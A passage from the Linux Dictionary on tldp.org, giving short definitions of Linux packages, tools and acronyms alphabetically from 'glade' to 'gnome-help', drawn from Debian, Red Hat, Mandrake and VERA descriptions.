<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glade

GTK+ User Interface Builder Glade is a RAD tool to enable quick and easy development of user interfaces for the GTK+ toolkit. It also contains built-in support for generating the C source code needed to recreate the interfaces. If you want Glade with support for the Gnome libraries, you should install the glade-gnome package. The user interfaces designed in Glade are stored in the well-known XML format, enabling easy integration with external tools. Several tools are already available which can turn the XML files into source code in other languages such as C++, Perl and Python. Other tools such as libglade can load the XML files and create the interfaces at runtime. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glame

A versatile audio processor. GLAME provides a powerful and extensible framework for processing audio files similar to what GIMP offers in the graphics area. GLAME so far features a graphical frontend to set up filter networks and perform basic audio editing tasks. A flexible Scheme-based command line editor offers low-level access for scripting purposes. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glbiff

This is a program similar to xbiff with a nicer output This is a program similar to xbiff, except that it provides somewhat nicer output. It requires the Mesa (OpenGL clone) libraries to render the 3D mailbox. The idea comes from the "mailbox" program available on SGI machines, and hence tries to mimic some of the features present in it. Note that this is an alpha version, and hence there are still some outstanding bugs. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GLDV

Gesellschaft fuer Linguistische DatenVerarbeitung (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gless

a program for viewing text files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GLGPL

GNU Lesser General Public License (GNU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glib

GLib is a library of utility functions designed to solve some portability problems and provide other useful functionality which most programs require. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glib2

GLib is a handy library of utility functions. This C library is designed to solve some portability problems and provide other useful functionality which most programs require. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glibc

The glibc package contains standard libraries which are used by multiple programs on the system. In order to save disk space and memory, as well as to make upgrading easier, common system code is kept in one place and shared between programs. This particular package contains the most important sets of shared libraries: the standard C library and the standard math library. Without these two libraries, a Linux system will not function. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glibc

The glibc package contains standard libraries which are used by multiple programs on the system. In order to save disk space and memory, as well as to make upgrading easier, common system code is kept in one place and shared between programs. This particular package contains the most important sets of shared libraries: the standard C library and the standard math library. Without these two libraries, a Linux system will not function. The glibc package also contains national language (locale) support. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glibc-kernheaders

glibc-kernheaders includes the C header files from the Linux kernel. The header files define structures and constants that are needed for building some standard programs and are also needed for rebuilding the glibc package From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Glibc2

The latest version of the GNU C Library. It currently runs unmodified on GNU Hurd systems and Linux i386, m68k, and alpha systems. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glibcbug

Report a bug to the Glibc developers From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glibc_lsb

Provides ld-lsb* dynamic loader links for LSB compliance. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Glide

a proprietary API plus drivers to access 3D graphics accelerator hardware based on chipsets manufactured by 3Dfx. Glide has been developed and implemented for DOS, Windows, and Macintosh, and has been ported to Linux by Daryll Strauss. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glide2-bin

Binaries for glide2. This is a support package which should be installed if you have a card based on 3dfx Interactive, Inc's Voodoo chipsets. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Glide3

Glide3 provides the necessary low-level interface glue between the Mesa3D graphics library, and 3Dfx Voodoo series of hardware. This package is required by the XFree86 tdfx driver in order to provide 3D acceleration support for the 3Dfx Voodoo 3/4/5 and Voodoo Banshee hardware. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glimmer

Programmer's editor with multiple windows and syntax highlighting Glimmer is a simple code editor for use with just about any programming language, which makes use of the Gtk+ widget set and the GNOME libraries, which includes drag and drop support. It includes syntax and bracket highlighting, the ability to build from within the editor, and support for saving sessions of many different code files open at once. Most settings can be customised from within the editor. Glimmer includes support for the following languages: Ada, bash/sh, C, C++, FORTRAN, HTML, Java, Javascript, Latex, GNU Make, Perl, PHP, Python, Lisp (guile, scheme, etc), SGML, SQL, Tcl/Tk, XML, XHTML, and Z80 Assembly, to name a few. Glimmer is also very extensible in the languages it supports for its syntax highlighting. If support for your language of choice is not included, you can write it very easily. In addition to this, Glimmer is completely scriptable with python. See <http://glimmer.sourceforge.net> for more information. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Glitch

A momentary power interruption or some other unexpected fluctuation in electronic circuits, such as those caused by power surges or dirty connections, that causes computer systems to generate garbage output or, in the extreme, to crash. A glitch is a hardware problem; software problem is called a bug. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gliv

image viewer using gdk-pixbuf and OpenGL GLiv is an image viewer that uses gdk-pixbuf to load images, and OpenGL to render them. Moving and zooming is very fast and smooth if you have an OpenGL board. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GLM

Generalized Markup Language From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glob

/glob/, not /glohb/ v.,n. [Unix; common] To expand special characters in a wildcarded name, or the act of so doing (the action is also called `globbing'). The Unix conventions for filename wildcarding have become sufficiently pervasive that many hackers use some of them in written English, especially in email or news on technical topics. Those commonly encountered include the following: * wildcard for any string (see also UN*X) ? wildcard for any single character (generally read this way only at the beginning or in the middle of a word) [] delimits a wildcard matching any of the enclosed characters {} alternation of comma-separated alternatives; thus, `foo{baz,qux}' would be read as `foobaz' or `fooqux' Some examples: "He said his name was [KC]arl" (expresses ambiguity). "I don't read talk.politics.*" (any of the talk.politics subgroups on Usenet). Other examples are given under the entry for X. Note that glob patterns are similar, but not identical, to those used in regexps. Historical note: The jargon usage derives from glob, the name of a subprogram that expanded wildcards in archaic pre-Bourne versions of the Unix shell. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glob

To expand special characters in a wildcarded name, or the act of so doing (the action is also called `globbing'). From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

global

From the beginning of a file to the end. This term is often used to describe an operation such as a search; the opposite of local. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

global

Source code search and browse. GLOBAL is a source code tag system that works the same way across diverse environments. Currently, it supports the following: o Shell command line (see 'Global') o nvi editor (see 'Extended nvi using global') o emacs editor (see 'Emacs using global') o Web browser (see 'Hypertext generator') o Elvis editor (see 'Elvis using global') Supported languages are C/C++ Yacc and Java. You can locate a specified function in the source files and move there easily. It is especially useful for hacking large projects containing many subdirectories, many '#ifdef' and many main() functions, like X or kernel source. This package include the htmake(1) extension which allows GLOBAL's hypertext search function to be implemented from a single central cgi script. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glob_dot_filenames

If set, bash includes filenames beginning with a `.' in the results of pathname expansion. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GLOCOM

[center for] GLObal COMmunications (org., Japan) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glotski

Slide the blocks to reach a goal Slide blocks around the puzzle until a certain goal condition is reached. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glpk

Linear programming kit with integer (MIP) support GLPK (GNU Linear Programming Kit) is a set of routines written in ANSI C and organized in the form of a library. This package is intended for solving large-scale linear programming (LP), mixed integer linear programming (MIP), and other related problems. GLPK has the following main features: * implementation of the revised simplex method (based on sparse matrix technique, steepest edge pricing, and two-pass pivoting technique); * implementation of the primal-dual interior point method; * implementation of the branch-and-bound procedure (based on the dual simplex method); * application program interface (API). Included is a solver that reads problems in the standard MPS format, or in the GLPK/L modeling language. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gltron

3D lightcycle game glTron is a tron-like lightcycle game with a nice 3D perspective. 3D acceleration is recommended. More information can be found at the gltron web site <http://www.gltron.org> . From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gltt-bin

sample programs using gltt A couple of sample programs that come with gltt, a library that allows you to read and draw TrueType fonts in any OpenGL application. Includes a general demo, a logo program that lets you deform text in interesting ways, and a bounding box demo. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GLU

openGL Utility Library (OpenGL, GLU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GLUT

openGL Utility library Toolkit (OpenGL, GLU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glutg3

The OpenGL Utility Toolkit. GLUT (pronounced like the glut in gluttony) is the OpenGL Utility Toolkit, a window system independent toolkit for writing OpenGL programs. It implements a simple windowing application programming interface (API) for OpenGL. GLUT makes it considerably easier to learn about and explore OpenGL programming. GLUT is designed for constructing small to medium sized OpenGL programs. While GLUT is well-suited to learning OpenGL and developing simple OpenGL applications, GLUT is not a full-featured toolkit so large applications requiring sophisticated user interfaces are better off using native window system toolkits like Motif. GLUT is simple, easy, and small. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glxgears

GLX version of the infamous "gears" GL demo. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

glxinfo

display info about a GLX extension and OpenGL renderer. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GM

General MIDI [standard] (MIDI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GMA

Gesellschaft fuer Mess- und Automatisierungstechnik (org., VDI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gmail

GNOME mail client using SQL-based vfolders Gmail is an experimental SQL-based vfolder email system, using MySQL as its back-end database, which allows for large volumes of mail, without risk of data loss. The vfolders (virtual folders) are implemented as SQL queries. A cache system keeps gmail fast. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gman

small X/GTK+ based man(1) front-end Gman is nothing else but only a simple front-end for the original man page system. The most basic job of gman is to build a database for all the man pages and display them (or part of them) on the screen. When user decides to read a man page, gman will launch a terminal window and call the original man system to display the man page in the window. Gman can launch more than one terminal window at same time. And user can use the index search function to look for the man pages that he needs. It's simple, but it's useful. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gmanedit

GTK+/GNOME Man pages editor GNOME Manpages Editor is an editor for man pages that runs on X with GTK. It's like most common HTML editors but more easy. You need to know manpages format. You can learn it from 'man(7)'. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gmc

Midnight Commander – A powerful file manager. – Gnome version Warning: The gnome version from mc is alpha software! Midnight Commander is a feature-rich file manager. It started as a Norton Commander clone but now it is far superior to it. Among other things it can do FTP, includes a hex editor, comes with an internal editor and lets you do most system administration tasks. Browsing, unpacking and installation of Debian packages is possible by just pressing enter on a *.deb file. Handling of other archive formats like rpm, zip, zoo and tar.gz is equally supported. This version comes with undelete for ext2 filesystems compiled in. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GMCH

Graphics and Memory Controller Hub (Intel, ICH) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GMD

Gesellschaft fuer Mathematik und Datenverarbeitung (org., St. Augustin) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GMDS

deutsche Gesellschaft fuer Medizinische Dokumentation, informatik und Statistik [e.v.] (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GME

Gesellschaft MikroElektronik (org., VDE, VDI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gmemusage

Displays a graph detailing memory usage of each process. Gmemusage is a graphical program modelled after the Silicon Graphics Inc. program of the same name. Gmemusage displays a window with a stacked bar. Areas on the bar correspond to individual processes running on the system and are updated periodically. Multiple copies of the same program (actually, programs with the same name) are merged into one area on the stack. Sizes of areas in the stack correspond to resident sizes of the processes. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gmenu

Graphical menu editor for the Gnome panel From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gmfsk

GNOME MFSK terminal for HF/amateur radio MFSK is a data communication mode used by amateur radio operators for reliable communications on HF. It is used for chatting and not packet

communications. gmfsk is an implementation of an MFSK terminal for GNOME. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gmgaclock

Matrox G400 graphics card overclocking tool gMGAClock is a GNOME-based overclocking utility for Matrox G400 cards users. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GMI

Generic Management Information (OSI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GML

General Markup Language From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gmod

Module player for Ultrasound and SB AWE soundcards Gmod plays MOD/669/MTM/S3M/ULT/XM modules on machines that have an Gravis Ultrasound family sound card or a Soundblaster AWE. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gmoo

a GTK+ based MOO (and MUD) Client Gmoo is a GTK+ based MOO client that also works for MUDs, MUSHs, etc. It's many features include internal and external editors, multiple world connecting, (configurable) ANSI, PERL and/or TCL based scripting and MCP (the MOO Client Protocol). Each world is independently configurable, with it's own settings and logs. Logging and shell integration are possible. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GMP

GNU Multi-Precision [library] (GNU) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gmp

The gmp package contains GNU MP, a library for arbitrary precision arithmetic which operates on signed integers, rational numbers and floating point numbers. GNU MP is designed for speed, for both small and very large operands. GNU MP is fast because it uses full words as the basic arithmetic type, it uses fast algorithms, it carefully optimizes assembly code for many CPUs' most common inner loops, and generally emphasizes speed over simplicity/elegance in its operations. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GMR

Giant Magneto-Resistive [heads] (HDD, IBM, Toshiba) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gmrn

Featureful CLI-like GTK+ application launcher This is gmrn; a small fast, yet featureful application launcher for use under X11, which uses GTK+ widget toolkit. Some features include tab-completion of file names and programs, history, easy x-terminal-emulator launching, and URL handling. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GMSK

Gaussian Minimum Shift Keying From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gmt

Generic Mapping Tools GMT is a free, public-domain collection of ~60 UNIX tools that allow users to manipulate (x,y) and (x,y,z) data sets (including filtering, trend fitting, gridding, projecting, etc.) and produce Encapsulated PostScript File (EPS) illustrations ranging from simple x-y plots through contour maps to artificially illuminated surfaces and 3-D perspective views in black and white, gray tone, hachure patterns, and 24-bit color. GMT supports 25 common map projections plus linear, log, and power scaling, and comes with support data such as coastlines, rivers, and political boundaries. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GMT

Greenwich Mean Time [+0000] (TZ, UTC, UK) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gmt-coast-low

Low resolution coastlines for the Generic Mapping Tools This package contains the crude, low and intermediate resolution coastlines contained in the GMT distribution which will be enough to get you started. Originally there were two more coastline packages (gmt-coast-high and -full) but they were too big for our servers and pulled from the distribution. Read /usr/share/doc/gmt/README.coastlines to learn where to get coastline data on the net. Otherwise you will not be able to create high quality maps with gmt. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNA

Global Network Academy (Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnap

Gnome client for Napster GNOME/GTK based client for Napster From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnapster

GTK client for the Napster online mp3 community (GNOME version) Gnapster is a powerful client for the Napster online mp3 community. Currently, Gnapster supports all major features of the protocol including many opennap extensions to the protocol. This version of the client uses GNOME features and requires it to run. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnapster-gtk

GTK client for the Napster online mp3 community (GTK version) Gnapster is a powerful client for the Napster online mp3 community. Currently, Gnapster supports all major features of the protocol including many opennap extensions to the protocol. This version of the client uses only GTK, not GNOME. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNAT

GNU Ada Translator (GNU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnat

The GNU Ada 95 compiler GNAT is a full Ada 95 compiler, which implements the whole Ada language. GNAT is actively maintained by Ada Core Technology (<http://www.gnat.com/>). This package contains the compiler, as well as the needed unstripped libraries so that debugging is possible. If you install this package, you do not need to install the `libgnat-3.14p-1' package as the latter contains only a version of the libraries unsuitable for debugging. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnats

The GNU problem report management system (central database) GNATS is a bug-tracking tool designed for use at a central "Support Site". Users who experience problems use electronic mail to communicate these problems to "maintainers" at that Support Site. GNATS offers many of the same features offered by more generalized databases, including editing, querying, and basic reporting. You can access the submitting, editing, and querying functions of GNATS through provided utilities or from within GNU Emacs. The "gnats" package has the full installation for the central database server. For client systems, use the "gnats-user" package which has just the user tools. Homepage: <http://www.gnu.org/software/gnats> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnews

a scrolling news ticker applet designed for GNOME Supports the following news sites: debianplanet.net freshmeat.net slashdot.org mozilla.org bsdtoday and more. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNI

GayNet International (network) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gniall

A program that tries to learn a human language. gNiall attempts to learn whatever language you try to teach it. It is basically a dissociator: it collects statistics on sentences you type and tries to construct meaningful replies. gNiall is inspired by Niall, an Amiga program by Matthew Peck. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNMP

Government Network Management Profile (USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNN

Global Network Navigator (Internet, WWW) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnobog

GNOME Bookmarks Organizer Gnobog (GNOME Bookmarks Organizer) is a program that lets you manage your favorite Internet sites' addresses. For more information visit the gnobog web site at <http://gnobog.sourceforge.net/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnocatan

Gnocatan server – a game for Gnome Gnocatan is an emulation of the Settlers of Catan board game which can be played over the internet. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnofin

GNOME financial manager Gnofin is a light-weight financial management program well-suited for helping you keep your checkbook and savings accounts up-to-date. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnoise

A GTK+ based wave file editor GNoise is a wave file editor that uses a display cache and a double-buffered display for maximum speed with large files. It supports common editing functions such as cut, copy, paste, fade in/out, reverse, interpolate, normalize and more with unlimited undo. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnokii

Datasuite for Nokia mobile phones (console & X) Gnokii is a suite of programs linked against a backend library that allows communication with Nokia phones. It currently supports the 5110/6110 series, 3110/3810/8110 series and others. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnomba

GNOME Samba browser Gnomba is a GUI machine and share browser for the SMB protocol. Gnomba allows you to scan any number of subnets for machines with SMB. The workgroups, machines and share are shown in a tree-view. For each machine you can then view the list of shares, and mount, unmount or browse them. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNOME

GNU Network Object Model Environment (GNU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNOME

stands for GNU Network Object Model Environment. The GNOME project intends to build a complete, user-friendly desktop based entirely on free software. GNOME is part of the GNU project, and GNOME is part of the OpenSource(tm) movement. The desktop will consist of small utilities and larger applications which share a consistent look and feel. GNOME uses GTK+ as the GUI toolkit for

all GNOME-compliant applications. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-about

The Gnome about box. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-applets

GNOME (GNU Network Object Model Environment) is a user-friendly set of applications and desktop tools to be used in conjunction with a window manager for the X Window System. GNOME is similar in purpose and scope to CDE and KDE, but GNOME (like KDE) is based completely on Open Source software. The gnome-applets package provides Panel applets which enhance your GNOME experience. You should install the gnome-applets package if you would like to abuse the GNOME desktop environment by embedding small utilities in the GNOME panel. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-applets

Various applets for GNOME panel another_clock: Simple analog clock. asclock: The AfterStep Clock applet. clockmail: Clock and Mailcheck applet. jbc: Jon's Binary Clock applet. battery: Show battery charge. cpumemusage: Show CPU, memory and swap usage. diskusage: Show disk usage. cpuload: Show CPU usage. memload: Show memory usage. swapload: Show swap usage. netload: Show load on different network interfaces. loadavg: Show load average. charpick: Allows you to easily write many characters which are not available on standard keyboards, drivemount: Allows you to quickly and easily mount and unmount various types of drives and filesystems on your computer. gkb: Allows you to easily and quickly change the keyboard map to those used in various different countries. mini-commander: Adds a command line to your Panel. quicklaunch: An applet which holds application launchers. tickastat: Watches various aspects of your system and delivers information when certain events occur. whereami: Shows the position of your mouse pointer on the screen. gweather: Retrieves from the Internet and displays various weather information. screenshooter: A handy little screen grabber (Need imagemagick). gnotes: Allows you to cover your GNOME desktop with little, yellow, virtual sticky-notes. webcontrol: allows you to launch your Netscape browser with the URL you indicate in the URL text box. slash: Show last news from slashdot.org modemlights: Monitor your modem while it is working. fifteen: Is a version of the old game of moving squares around a grid to put them into numerical order. geyes: Is a pair of eyes which follow your mouse pointer around the screen. life: An applet which runs "the game of life" according to Conway's rules. odometer: Tracks and measures the movements of your mouse pointer across the desktop. cdplayer: Play CDs from a panel. mixer: Interface for controlling the sound volume and launching the Audio Mixer. sound-monitor: A sound volume display and an interface for controlling ESD. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-apt

Gnome front-end to apt Gnome-apt is a graphical package management program for Debian. It provides the same features as the apt-get command line utility with a GUI front-end based on Gnome. Gnome-apt allows you to easily upgrade your Debian system, as well as install/uninstall packages using any of the methods that apt supports (http, ftp*, file). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-chess

GNOME Chess This is gnome-chess, a graphical user interface for playing chess. It works with chess programs and chess servers - it is also a PGN viewer. For chess programs, it works best with the chess engine crafty (ftp://ftp.cis.uab.edu/pub/hyatt) but most features should also work with GNU Chess (ftp://ftp.gnu.org). You can use the "first chess program" option to choose the computer engine you want to play against. E.g. try "gnome-chess --fcp crafty" or "gnome-chess --fcp gnu chessx" From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-commander

File mangager for GNOME GNOME Commander is a file mangager aimed at people that wants an effcient and fast file manager. The program can currently perform most common file operations such

as copy, move, delete, chown and chmod and so on. It can also detect changes to files caused by other programs and update the views without the need for the user to manually reload. The program also supports Copy&Paste as well as Drag&Drop. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-control-center

GNOME Control-center is a configuration tool for easily setting up your GNOME environment. GNOME is the GNU Network Object Model Environment. That's a fancy name, but really GNOME is a nice GUI desktop environment. It's a powerful, easy to configure environment which helps to make your computer easy to use. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-control-center

The Gnome Control Center Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. This package contains utilities to configure your desktop background, screen saver, keyboard and mouse properties. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-convert

Tool for gnome-help-browser From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-desktop

GNOME (GNU Network Object Model Environment) is a user-friendly set of applications and desktop tools to be used in conjunction with a window manager for the X Window System. GNOME is similar in purpose and scope to CDE and KDE, but GNOME is based completely on free software. The gnome-core package includes the basic programs and libraries that are needed to install GNOME. GNOME Desktop provides the core icons and libraries for the gnome desktop. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-doc-tools

Tools, stylesheets and DTDs for GNOME. This package provides tools, stylesheets and DTDs for use by the GNOME Documentation Project. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-download

Tool for gnome-help-browser From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-dump-metadata

Dump the metadata database. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-edit

Gnome editor From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-exe-handler

GNOME executable Mime type Handler. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-find

Graphical Version of the GNU find utility Gnome-find really is a graphical version of the GNU find utility. It is not just a front-end which just forks and execs "find", nor is it a utility that reinvents the wheel by rewriting the "find" utility itself. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-font-install

Fontmap file generator for gnome-print From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-games

The gnome-games package includes games for the GNOME GUI desktopenvironment, including GnomeScott, ctali, freecell, gataxx, glines, gnibbles, gnobots2, gnome-stones, gnomine, gnotravex,

gtali, gturing, iagno, mahjogg, same-gnome, and sol. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-gataxx

This is a GNOME port of the old game ataxx. Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-gen-mimedb

Build the extension database for mime-magic. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-glines

This is a version of the color lines program Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. This is GNOME's version of the color lines program, aka fiveormore. The program is fully GPL-ed. It's written by Robert Szokovacs <szo@appaloosacorp.hu> in gtk, I added gnome support... Shooby Ban From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-gnibbles

A cute little game that has no description Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-gnrobots2

Second Gnome version of robots game for BSD games collection Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. Gnome Robots 2 is a version of the text based robots game which can be found on a number of UNIX systems, and comes with the BSD games package on Linux systems. This version allows you to select a number of animated graphics scenarios, as well as providing a safe teleport feature so you are not totally at the mercy of your computer's random number generator. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-gnometris

A tetris clone. Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-gnomine

Classic find the mines in the minefield game (from Gnome) Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. Classic find the mines in the minefield game. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-gnotravex

A game based on Tetravex. Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. The goal of the game is to place all squares so that the numbers on their sides match. It is impossible to place a square beside another square without the numbers matching. When all squares are placed, the game is won, and over. It's possible to choose different sizes on the board from 2x2 to 6x6. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-gnotski

Derivative game from Klotski. Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. Gnome Klotski is a small game for GNOME. The idea is originally from a game called "Klotski". From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-gtali

Gnome version of Yahtzee Dice Game Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. Yahtzee dice

game. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-gv

GNOME PostScript/PDF viewer ggv is a graphical frontend to ghostscript which allows you to view postscript and pdf documents, and print ranges of pages. It is very comfortable due to many zoom and an anti-aliasing option and following the GNOME look and feel. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-help

